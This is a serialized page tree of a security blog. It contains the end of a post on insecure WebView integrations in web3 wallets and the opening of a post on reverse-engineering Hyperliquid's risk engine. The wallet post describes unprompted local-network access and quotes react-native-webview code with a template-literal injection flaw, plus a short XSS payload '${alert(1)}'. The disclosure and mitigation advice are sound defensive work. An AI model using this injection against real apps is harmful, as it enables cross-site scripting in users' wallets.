pic",{"type":24,"tag":158,"props":159299,"children":159300},{"style":222},[159301],{"type":29,"value":347},{"type":24,"tag":158,"props":159303,"children":159304},{"style":177},[159305],{"type":29,"value":33931},{"type":24,"tag":158,"props":159307,"children":159308},{"style":222},[159309],{"type":29,"value":34173},{"type":24,"tag":158,"props":159311,"children":159312},{"style":177},[159313],{"type":29,"value":159314},"URL",{"type":24,"tag":158,"props":159316,"children":159317},{"style":222},[159318],{"type":29,"value":347},{"type":24,"tag":158,"props":159320,"children":159321},{"style":496},[159322],{"type":29,"value":159323},"createObjectURL",{"type":24,"tag":158,"props":159325,"children":159326},{"style":222},[159327],{"type":29,"value":504},{"type":24,"tag":158,"props":159329,"children":159330},{"style":177},[159331],{"type":29,"value":34210},{"type":24,"tag":158,"props":159333,"children":159334},{"style":222},[159335],{"type":29,"value":1071},{"type":24,"tag":158,"props":159337,"children":159338},{"class":160,"line":24905},[159339],{"type":24,"tag":158,"props":159340,"children":159341},{"style":222},[159342],{"type":29,"value":159343}," });\n",{"type":24,"tag":158,"props":159345,"children":159346},{"class":160,"line":24914},[159347],{"type":24,"tag":158,"props":159348,"children":159349},{"emptyLinePlaceholder":16},[159350],{"type":29,"value":481},{"type":24,"tag":158,"props":159352,"children":159353},{"class":160,"line":24990},[159354,159359,159363,159368,159372,159377,159381,159386,159390],{"type":24,"tag":158,"props":159355,"children":159356},{"style":177},[159357],{"type":29,"value":159358}," navigator",{"type":24,"tag":158,"props":159360,"children":159361},{"style":222},[159362],{"type":29,"value":347},{"type":24,"tag":158,"props":159364,"children":159365},{"style":177},[159366],{"type":29,"value":159367},"geolocation",{"type":24,"tag":158,"props":159369,"children":159370},{"style":222},[159371],{"type":29,"value":347},{"type":24,"tag":158,"props":159373,"children":159374},{"style":496},[159375],{"type":29,"value":159376},"getCurrentPosition",{"type":24,"tag":158,"props":159378,"children":159379},{"style":222},[159380],{"type":29,"value":504},{"type":24,"tag":158,"props":159382,"children":159383},{"style":177},[159384],{"type":29,"value":159385},"pos",{"type":24,"tag":158,"props":159387,"children":159388},{"style":165},[159389],{"type":29,"value":29010},{"type":24,"tag":158,"props":159391,"children":159392},{"style":222},[159393],{"type":29,"value":210},{"type":24,"tag":158,"props":159395,"children":159396},{"class":160,"line":25023},[159397,159402,159406,159410,159414,159418,159423],{"type":24,"tag":158,"props":159398,"children":159399},{"style":165},[159400],{"type":29,"value":159401}," const",{"type":24,"tag":158,"props":159403,"children":159404},{"style":177},[159405],{"type":29,"value":38709},{"type":24,"tag":158,"props":159407,"children":159408},{"style":222},[159409],{"type":29,"value":34173},{"type":24,"tag":158,"props":159411,"children":159412},{"style":177},[159413],{"type":29,"value":159385},{"type":24,"tag":158,"props":159415,"children":159416},{"style":222},[159417],{"type":29,"value":347},{"type":24,"tag":158,"props":159419,"children":159420},{"style":177},[159421],{"type":29,"value":159422},"coords",{"type":24,"tag":158,"props":159424,"children":159425},{"style":222},[159426],{"type":29,"value":473},{"type":24,"tag":158,"props":159428,"children":159429},{"class":160,"line":25031},[159430,159435,159439,159443,159447,159452,159456,159460,159464,159469,159473,159478,159482,159486,159490,159494,159498,159503,159507,159511,159515,159520,159524,159528,159532,159536,159540,159544,159548],{"type":24,"tag":158,"props":159431,"children":159432},{"style":177},[159433],{"type":29,"value":159434}," gps",{"type":24,"tag":158,"props":159436,"children":159437},{"style":222},[159438],{"type":29,"value":347},{"type":24,"tag":158,"props":159440,"children":159441},{"style":177},[159442],{"type":29,"value":36227},{"type":24,"tag":158,"props":159444,"children":159445},{"style":222},[159446],{"type":29,"value":34173},{"type":24,"tag":158,"props":159448,"children":159449},{"style":1108},[159450],{"type":29,"value":159451},"`Lat: ",{"type":24,"tag":158,"props":159453,"children":159454},{"style":165},[159455],{"type":29,"value":35371},{"type":24,"tag":158,"props":159457,"children":159458},{"style":177},[159459],{"type":29,"value":2907},{"type":24,"tag":158,"props":159461,"children":159462},{"style":222},[159463],{"type":29,"value":347},{"type":24,"tag":158,"props":159465,"children":159466},{"style":177},[159467],{"type":29,"value":159468},"latitude",{"type":24,"tag":158,"props":159470,"children":159471},{"style":222},[159472],{"type":29,"value":347},{"type":24,"tag":158,"props":159474,"children":159475},{"style":496},[159476],{"type":29,"value":159477},"toFixed",{"type":24,"tag":158,"props":159479,"children":159480},{"style":222},[159481],{"type":29,"value":504},{"type":24,"tag":158,"props":159483,"children":159484},{"style":465},[159485],{"type":29,"value":5672},{"type":24,"tag":158,"props":159487,"children":159488},{"style":222},[159489],{"type":29,"value":521},{"type":24,"tag":158,"props":159491,"children":159492},{"style":165},[159493],{"type":29,"value":35403},{"type":24,"tag":158,"props":159495,"children":159496},{"style":49644},[159497],{"type":29,"value":49647},{"type":24,"tag":158,"props":159499,"children":159500},{"style":1108},[159501],{"type":29,"value":159502},"Lon: ",{"type":24,"tag":158,"props":159504,"children":159505},{"style":165},[159506],{"type":29,"value":35371},{"type":24,"tag":158,"props":159508,"children":159509},{"style":177},[159510],{"type":29,"value":2907},{"type":24,"tag":158,"props":159512,"children":159513},{"style":222},[159514],{"type":29,"value":347},{"type":24,"tag":158,"props":159516,"children":159517},{"style":177},[159518],{"type":29,"value":159519},"longitude",{"type":24,"tag":158,"props":159521,"children":159522},{"style":222},[159523],{"type":29,"value":347},{"type":24,"tag":158,"props":159525,"children":159526},{"style":496},[159527],{"type":29,"value":159477},{"type":24,"tag":158,"props":159529,"children":159530},{"style":222},[159531],{"type":29,"value":504},{"type":24,"tag":158,"props":159533,"children":159534},{"style":465},[159535],{"type":29,"value":5672},{"type":24,"tag":158,"props":159537,"children":159538},{"style":222},[159539],{"type":29,"value":521},{"type":24,"tag":158,"props":159541,"children":159542},{"style":165},[159543],{"type":29,"value":35403},{"type":24,"tag":158,"props":159545,"children":159546},{"style":1108},[159547],{"type":29,"value":1200},{"type":24,"tag":158,"props":159549,"children":159550},{"style":222},[159551],{"type":29,"value":473},{"type":24,"tag":158,"props":159553,"children":159554},{"class":160,"line":25039},[159555,159560,159564,159568,159573,159577,159581],{"type":24,"tag":158,"props":159556,"children":159557},{"style":222},[159558],{"type":29,"value":159559}," }, ",{"type":24,"tag":158,"props":159561,"children":159562},{"style":177},[159563],{"type":29,"value":49691},{"type":24,"tag":158,"props":159565,"children":159566},{"style":165},[159567],{"type":29,"value":29010},{"type":24,"tag":158,"props":159569,"children":159570},{"style":496},[159571],{"type":29,"value":159572}," alert",{"type":24,"tag":158,"props":159574,"children":159575},{"style":222},[159576],{"type":29,"value":504},{"type":24,"tag":158,"props":159578,"children":159579},{"style":177},[159580],{"type":29,"value":49691},{"type":24,"tag":158,"props":159582,"children":159583},{"style":222},[159584],{"type":29,"value":3849},{"type":24,"tag":158,"props":159586,"children":159587},{"class":160,"line":25076},[159588],{"type":24,"tag":158,"props":159589,"children":159590},{"style":222},[159591],{"type":29,"value":49345},{"type":24,"tag":158,"props":159593,"children":159594},{"class":160,"line":25089},[159595],{"type":24,"tag":158,"props":159596,"children":159597},{"emptyLinePlaceholder":16},[159598],{"type":29,"value":481},{"type":24,"tag":158,"props":159600,"children":159601},{"class":160,"line":25102},[159602],{"type":24,"tag":158,"props":159603,"children":159604},{"style":222},[159605],{"type":29,"value":5010},{"type":24,"tag":158,"props":159607,"children":159608},{"class":160,"line":25115},[159609,159614],{"type":24,"tag":158,"props":159610,"children":159611},{"style":496},[159612],{"type":29,"value":159613}," main",{"type":24,"tag":158,"props":159615,"children":159616},{"style":222},[159617],{"type":29,"value":5329},{"type":24,"tag":158,"props":159619,"children":159620},{"class":160,"line":25169},[159621,159625,159629],{"type":24,"tag":158,"props":159622,"children":159623},{"style":33637},[159624],{"type":29,"value":34090},{"type":24,"tag":158,"props":159626,"children":159627},{"style":165},[159628],{"type":29,"value":33677},{"type":24,"tag":158,"props":159630,"children":159631},{"style":33637},[159632],{"type":29,"value":7642},{"type":24,"tag":158,"props":159634,"children":159635},{"class":160,"line":25178},[159636,159640,159644],{"type":24,"tag":158,"props":159637,"children":159638},{"style":33637},[159639],{"type":29,"value":33691},{"type":24,"tag":158,"props":159641,"children":159642},{"style":165},[159643],{"type":29,"value":33661},{"type":24,"tag":158,"props":159645,"children":159646},{"style":33637},[159647],{"type":29,"value":7642},{"type":24,"tag":158,"props":159649,"children":159650},{"class":160,"line":33542},[159651,159655,159659],{"type":24,"tag":158,"props":159652,"children":159653},{"style":33637},[159654],{"type":29,"value":33691},{"type":24,"tag":158,"props":159656,"children":159657},{"style":165},[159658],{"type":29,"value":33644},{"type":24,"tag":158,"props":159660,"children":159661},{"style":33637},[159662],{"type":29,"value":7642},{"type":24,"tag":20134,"props":159664,"children":159665},{"id":5887},[159666],{"type":29,"value":5890},{"type":24,"tag":25,"props":159668,"children":159669},{},[159670],{"type":29,"value":159671},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":24,"tag":25,"props":159673,"children":159674},{},[159675,159677,159683],{"type":29,"value":159676},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":24,"tag":101,"props":159678,"children":159681},{"href":159679,"rel":159680},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[105],[159682],{"type":29,"value":48855},{"type":29,"value":347},{"type":24,"tag":32607,"props":159685,"children":159686},{"style":32609},[159687],{"type":24,"tag":84,"props":159688,"children":159692},{"src":159689,"alt":159690,"style":159691},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":159694,"children":159695},{},[159696],{"type":29,"value":159697},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":24,"tag":59,"props":159699,"children":159701},{"id":159700},"local-network-access",[159702],{"type":29,"value":159703},"Local Network Access",{"type":24,"tag":25,"props":159705,"children":159706},{},[159707,159709,159716,159718,159724],{"type":29,"value":159708},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":24,"tag":101,"props":159710,"children":159713},{"href":159711,"rel":159712},"https://wicg.github.io/private-network-access/",[105],[159714],{"type":29,"value":159715},"Private Network Access",{"type":29,"value":159717}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":24,"tag":101,"props":159719,"children":159722},{"href":159720,"rel":159721},"https://x.com/taviso/status/2051310678800253318",[105],[159723],{"type":29,"value":159720},{"type":29,"value":159725},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":24,"tag":32607,"props":159727,"children":159728},{"style":32609},[159729],{"type":24,"tag":84,"props":159730,"children":159733},{"src":159731,"alt":159690,"style":159732},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":159735,"children":159736},{},[159737],{"type":29,"value":159738},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":24,"tag":159740,"props":159741,"children":159744},"zoom-image",{"src":159742,"alt":159743},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":24,"tag":25,"props":159746,"children":159747},{},[159748],{"type":29,"value":159749},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":24,"tag":17924,"props":159751,"children":159752},{},[159753,159758,159763],{"type":24,"tag":1790,"props":159754,"children":159755},{},[159756],{"type":29,"value":159757},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":24,"tag":1790,"props":159759,"children":159760},{},[159761],{"type":29,"value":159762},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":24,"tag":1790,"props":159764,"children":159765},{},[159766],{"type":29,"value":159767},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":24,"tag":25,"props":159769,"children":159770},{},[159771],{"type":29,"value":159772},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":24,"tag":59,"props":159774,"children":159776},{"id":159775},"uxss-by-code-injection",[159777],{"type":29,"value":159778},"UXSS by Code Injection",{"type":24,"tag":25,"props":159780,"children":159781},{},[159782,159784,159790],{"type":29,"value":159783},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":24,"tag":154,"props":159785,"children":159787},{"className":159786},[],[159788],{"type":29,"value":159789},"injectJavascriptObject",{"type":29,"value":159791}," attribute worked. Here is the code snippet:",{"type":24,"tag":147,"props":159793,"children":159795},{"className":158031,"code":159794,"language":158033,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[159796],{"type":24,"tag":154,"props":159797,"children":159798},{"__ignoreMap":7},[159799,159819,159848,159882,159937,160042,160054,160067],{"type":24,"tag":158,"props":159800,"children":159801},{"class":160,"line":161},[159802,159806,159810,159815],{"type":24,"tag":158,"props":159803,"children":159804},{"style":165},[159805],{"type":29,"value":72059},{"type":24,"tag":158,"props":159807,"children":159808},{"style":171},[159809],{"type":29,"value":52321},{"type":24,"tag":158,"props":159811,"children":159812},{"style":496},[159813],{"type":29,"value":159814}," injectJavascriptObject",{"type":24,"tag":158,"props":159816,"children":159817},{"style":188},[159818],{"type":29,"value":16972},{"type":24,"tag":158,"props":159820,"children":159821},{"class":160,"line":213},[159822,159826,159830,159835,159839,159844],{"type":24,"tag":158,"props":159823,"children":159824},{"style":1914},[159825],{"type":29,"value":40551},{"type":24,"tag":158,"props":159827,"children":159828},{"style":188},[159829],{"type":29,"value":2262},{"type":24,"tag":158,"props":159831,"children":159832},{"style":496},[159833],{"type":29,"value":159834},"getSettings",{"type":24,"tag":158,"props":159836,"children":159837},{"style":188},[159838],{"type":29,"value":31428},{"type":24,"tag":158,"props":159840,"children":159841},{"style":496},[159842],{"type":29,"value":159843},"getJavaScriptEnabled",{"type":24,"tag":158,"props":159845,"children":159846},{"style":188},[159847],{"type":29,"value":93299},{"type":24,"tag":158,"props":159849,"children":159850},{"class":160,"line":238},[159851,159856,159861,159865,159870,159874,159878],{"type":24,"tag":158,"props":159852,"children":159853},{"style":171},[159854],{"type":29,"value":159855}," String",{"type":24,"tag":158,"props":159857,"children":159858},{"style":177},[159859],{"type":29,"value":159860}," js",{"type":24,"tag":158,"props":159862,"children":159863},{"style":222},[159864],{"type":29,"value":462},{"type":24,"tag":158,"props":159866,"children":159867},{"style":1108},[159868],{"type":29,"value":159869}," \"(function(){",{"type":24,"tag":158,"props":159871,"children":159872},{"style":49644},[159873],{"type":29,"value":49647},{"type":24,"tag":158,"props":159875,"children":159876},{"style":1108},[159877],{"type":29,"value":21303},{"type":24,"tag":158,"props":159879,"children":159880},{"style":222},[159881],{"type":29,"value":586},{"type":24,"tag":158,"props":159883,"children":159884},{"class":160,"line":259},[159885,159890,159894,159899,159903,159908,159912,159916,159920,159925,159929,159933],{"type":24,"tag":158,"props":159886,"children":159887},{"style":1108},[159888],{"type":29,"value":159889}," \" window.\"",{"type":24,"tag":158,"props":159891,"children":159892},{"style":222},[159893],{"type":29,"value":2308},{"type":24,"tag":158,"props":159895,"children":159896},{"style":188},[159897],{"type":29,"value":159898}," JAVASCRIPT_INTERFACE ",{"type":24,"tag":158,"props":159900,"children":159901},{"style":222},[159902],{"type":29,"value":728},{"type":24,"tag":158,"props":159904,"children":159905},{"style":1108},[159906],{"type":29,"value":159907}," \" = window.\"",{"type":24,"tag":158,"props":159909,"children":159910},{"style":222},[159911],{"type":29,"value":2308},{"type":24,"tag":158,"props":159913,"children":159914},{"style":188},[159915],{"type":29,"value":159898},{"type":24,"tag":158,"props":159917,"children":159918},{"style":222},[159919],{"type":29,"value":728},{"type":24,"tag":158,"props":159921,"children":159922},{"style":1108},[159923],{"type":29,"value":159924}," \" || {};",{"type":24,"tag":158,"props":159926,"children":159927},{"style":49644},[159928],{"type":29,"value":49647},{"type":24,"tag":158,"props":159930,"children":159931},{"style":1108},[159932],{"type":29,"value":21303},{"type":24,"tag":158,"props":159934,"children":159935},{"style":222},[159936],{"type":29,"value":586},{"type":24,"tag":158,"props":159938,"children":159939},{"class":160,"line":280},[159940,159944,159948,159952,159956,159961,159965,159970,159974,159978,159982,159986,159990,159994,159999,160003,160008,160012,160017,160021,160025,160030,160034,160038],{"type":24,"tag":158,"props":159941,"children":159942},{"style":1108},[159943],{"type":29,"value":159889},{"type":24,"tag":158,"props":159945,"children":159946},{"style":222},[159947],{"type":29,"value":2308},{"type":24,"tag":158,"props":159949,"children":159950},{"style":188},[159951],{"type":29,"value":159898},{"type":24,"tag":158,"props":159953,"children":159954},{"style":222},[159955],{"type":29,"value":728},{"type":24,"tag":158,"props":159957,"children":159958},{"style":1108},[159959],{"type":29,"value":159960}," \".injectedObjectJson = function () { return \"",{"type":24,"tag":158,"props":159962,"children":159963},{"style":222},[159964],{"type":29,"value":2308},{"type":24,"tag":158,"props":159966,"children":159967},{"style":188},[159968],{"type":29,"value":159969}," (injectedJavaScriptObject ",{"type":24,"tag":158,"props":159971,"children":159972},{"style":222},[159973],{"type":29,"value":1034},{"type":24,"tag":158,"props":159975,"children":159976},{"style":165},[159977],{"type":29,"value":71545},{"type":24,"tag":158,"props":159979,"children":159980},{"style":1914},[159981],{"type":29,"value":99319},{"type":24,"tag":158,"props":159983,"children":159984},{"style":165},[159985],{"type":29,"value":71545},{"type":24,"tag":158,"props":159987,"children":159988},{"style":1914},[159989],{"type":29,"value":36379},{"type":24,"tag":158,"props":159991,"children":159992},{"style":188},[159993],{"type":29,"value":2262},{"type":24,"tag":158,"props":159995,"children":159996},{"style":1108},[159997],{"type":29,"value":159998},"\"`\"",{"type":24,"tag":158,"props":160000,"children":160001},{"style":222},[160002],{"type":29,"value":2308},{"type":24,"tag":158,"props":160004,"children":160005},{"style":188},[160006],{"type":29,"value":160007}," injectedJavaScriptObject ",{"type":24,"tag":158,"props":160009,"children":160010},{"style":222},[160011],{"type":29,"value":728},{"type":24,"tag":158,"props":160013,"children":160014},{"style":1108},[160015],{"type":29,"value":160016}," \"`\"",{"type":24,"tag":158,"props":160018,"children":160019},{"style":188},[160020],{"type":29,"value":2240},{"type":24,"tag":158,"props":160022,"children":160023},{"style":222},[160024],{"type":29,"value":728},{"type":24,"tag":158,"props":160026,"children":160027},{"style":1108},[160028],{"type":29,"value":160029}," \"; };",{"type":24,"tag":158,"props":160031,"children":160032},{"style":49644},[160033],{"type":29,"value":49647},{"type":24,"tag":158,"props":160035,"children":160036},{"style":1108},[160037],{"type":29,"value":21303},{"type":24,"tag":158,"props":160039,"children":160040},{"style":222},[160041],{"type":29,"value":586},{"type":24,"tag":158,"props":160043,"children":160044},{"class":160,"line":301},[160045,160050],{"type":24,"tag":158,"props":160046,"children":160047},{"style":1108},[160048],{"type":29,"value":160049}," \"})();\"",{"type":24,"tag":158,"props":160051,"children":160052},{"style":188},[160053],{"type":29,"value":473},{"type":24,"tag":158,"props":160055,"children":160056},{"class":160,"line":626},[160057,160062],{"type":24,"tag":158,"props":160058,"children":160059},{"style":496},[160060],{"type":29,"value":160061}," evaluateJavascriptWithFallback",{"type":24,"tag":158,"props":160063,"children":160064},{"style":188},[160065],{"type":29,"value":160066},"(js);\n",{"type":24,"tag":158,"props":160068,"children":160069},{"class":160,"line":668},[160070],{"type":24,"tag":158,"props":160071,"children":160072},{"style":188},[160073],{"type":29,"value":3549},{"type":24,"tag":25,"props":160075,"children":160076},{},[160077,160079,160085,160087,160092,160094,160100],{"type":29,"value":160078},"It basically injects a javascript code with the ",{"type":24,"tag":154,"props":160080,"children":160082},{"className":160081},[],[160083],{"type":29,"value":160084},"injectedJavascriptObject",{"type":29,"value":160086}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":24,"tag":154,"props":160088,"children":160090},{"className":160089},[],[160091],{"type":29,"value":160084},{"type":29,"value":160093},". If we control a single attribute we can inject a payload like ",{"type":24,"tag":154,"props":160095,"children":160097},{"className":160096},[],[160098],{"type":29,"value":160099},"${alert(1)}",{"type":29,"value":160101}," and achieve XSS in the context of the loaded page.",{"type":24,"tag":25,"props":160103,"children":160104},{},[160105,160107,160114],{"type":29,"value":160106},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":24,"tag":101,"props":160108,"children":160111},{"href":160109,"rel":160110},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[105],[160112],{"type":29,"value":160113},"PR with the report and fix",{"type":29,"value":347},{"type":24,"tag":25,"props":160116,"children":160117},{},[160118],{"type":29,"value":160119},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":24,"tag":25,"props":160121,"children":160122},{},[160123,160125,160131],{"type":29,"value":160124},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":24,"tag":154,"props":160126,"children":160128},{"className":160127},[],[160129],{"type":29,"value":160130},"injectedJavaScriptObject",{"type":29,"value":160132}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":24,"tag":395,"props":160134,"children":160135},{"id":30191},[160136],{"type":29,"value":20189},{"type":24,"tag":25,"props":160138,"children":160139},{},[160140],{"type":29,"value":160141},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":24,"tag":4517,"props":160143,"children":160144},{},[160145],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":160147},[160148,160152,160155,160156],{"id":157871,"depth":213,"text":157874,"children":160149},[160150,160151],{"id":157882,"depth":238,"text":157885},{"id":157957,"depth":238,"text":157960},{"id":157990,"depth":213,"text":157993,"children":160153},[160154],{"id":158180,"depth":238,"text":158183},{"id":159700,"depth":213,"text":159703},{"id":159775,"depth":213,"text":159778,"children":160157},[160158],{"id":30191,"depth":238,"text":20189},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":160163,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160164,"description":160165,"date":160166,"author":160167,"image":160168,"isFeatured":16,"onBlogPage":16,"tags":160172,"hideToc":16,"body":160176,"_type":4536,"_id":166815,"_source":4538,"_file":166816,"_stem":166817,"_extension":4541},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":160169,"width":160170,"height":160171},"/posts/hyperliquid-risk-engine/title.png",1456,816,[160173,160174,160175],"hyperliquid","reverse-engineering","defi",{"type":21,"children":160177,"toc":166787},[160178,160184,160192,160197,160202,160207,160219,160224,160237,160256,160262,160274,160287,160292,160323,160328,160341,160346,160537,160543,160548,160560,160566,160571,160577,160590,160624,160629,160634,160646,160652,160672,160680,160693,160699,160710,160716,160728,160733,160739,160759,160767,160773,160807,160811,160847,160852,160857,160862,160875,160912,160917,160931,160937,160942,160968,160976,160981,161009,161014,161019,161357,161362,161367,161387,161414,161419,161432,161444,161449,161454,161460,161465,161470,161484,161489,161495,161523,161560,161571,161575,161580,161585,161591,161757,161792,161797,161803,161809,161998,162011,162016,162022,162043,162048,162054,162059,162064,162076,162081,162086,162092,162097,162102,162108,162114,162127,162160,162165,164741,165009,165014,166344,166349,166354,166366,166457,166469,166474,166480,166485,166493,166498,166506,166512,166546,166557,166565,166571,166577,166582,166590,166595,166600,166608,166620,166626,166631,166637,166648,166653,166659,166664,166669,166675,166680,166683,166688,166693,166699,166704,166716,166721,166726],{"type":24,"tag":59,"props":160179,"children":160181},{"id":160180},"perpetuals",[160182],{"type":29,"value":160183},"Perpetuals",{"type":24,"tag":4606,"props":160185,"children":160186},{},[160187],{"type":24,"tag":25,"props":160188,"children":160189},{},[160190],{"type":29,"value":160191},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":24,"tag":25,"props":160193,"children":160194},{},[160195],{"type":29,"value":160196},"What does that even have to do with reverse engineering?",{"type":24,"tag":59,"props":160198,"children":160199},{"id":160173},[160200],{"type":29,"value":160201},"Hyperliquid",{"type":24,"tag":25,"props":160203,"children":160204},{},[160205],{"type":29,"value":160206},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":24,"tag":25,"props":160208,"children":160209},{},[160210,160212,160217],{"type":29,"value":160211},"The node is tasked with a ",{"type":24,"tag":32,"props":160213,"children":160214},{},[160215],{"type":29,"value":160216},"very hard problem",{"type":29,"value":160218},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":24,"tag":25,"props":160220,"children":160221},{},[160222],{"type":29,"value":160223},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":24,"tag":25,"props":160225,"children":160226},{},[160227,160229,160235],{"type":29,"value":160228},"Beyond that, the ",{"type":24,"tag":154,"props":160230,"children":160232},{"className":160231},[],[160233],{"type":29,"value":160234},"hl-node",{"type":29,"value":160236}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":24,"tag":25,"props":160238,"children":160239},{},[160240,160242,160247,160249,160254],{"type":29,"value":160241},"Armed with some curiosity, a good amount of ",{"type":24,"tag":32,"props":160243,"children":160244},{},[160245],{"type":29,"value":160246},"inference",{"type":29,"value":160248},", and the right tooling, we'll take a deep dive using an ",{"type":24,"tag":32,"props":160250,"children":160251},{},[160252],{"type":29,"value":160253},"interactive interface",{"type":29,"value":160255},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":24,"tag":59,"props":160257,"children":160259},{"id":160258},"the-million-dollar-question",[160260],{"type":29,"value":160261},"The Million Dollar Question",{"type":24,"tag":25,"props":160263,"children":160264},{},[160265,160267,160272],{"type":29,"value":160266},"Let's say a terrible trader opens a ",{"type":24,"tag":32,"props":160268,"children":160269},{},[160270],{"type":29,"value":160271},"50x",{"type":29,"value":160273}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":24,"tag":25,"props":160275,"children":160276},{},[160277,160279,160285],{"type":29,"value":160278},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":24,"tag":154,"props":160280,"children":160282},{"className":160281},[],[160283],{"type":29,"value":160284},"compute_margin_requirement_by_mode",{"type":29,"value":160286}," function.",{"type":24,"tag":25,"props":160288,"children":160289},{},[160290],{"type":29,"value":160291},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":24,"tag":160293,"props":160294,"children":160295},"tip",{},[160296],{"type":24,"tag":25,"props":160297,"children":160298},{},[160299,160301,160306,160308,160315,160317,160322],{"type":29,"value":160300},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":24,"tag":32,"props":160302,"children":160303},{},[160304],{"type":29,"value":160305},"click through",{"type":29,"value":160307}," each action performed by ",{"type":24,"tag":101,"props":160309,"children":160312},{"href":160310,"rel":160311},"https://github.com/renato-osec/patina-research",[105],[160313],{"type":29,"value":160314},"our Rust reverse engineering agent",{"type":29,"value":160316},". Return to the regular view by clicking ",{"type":24,"tag":154,"props":160318,"children":160320},{"className":160319},[],[160321],{"type":29,"value":7637},{"type":29,"value":347},{"type":24,"tag":160324,"props":160325,"children":160327},"bndb-viewer-embed",{"addr":160326,"line-start":5672,"line-end":135832},"0x555556bb4d20",[],{"type":24,"tag":25,"props":160329,"children":160330},{},[160331,160333,160339],{"type":29,"value":160332},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like 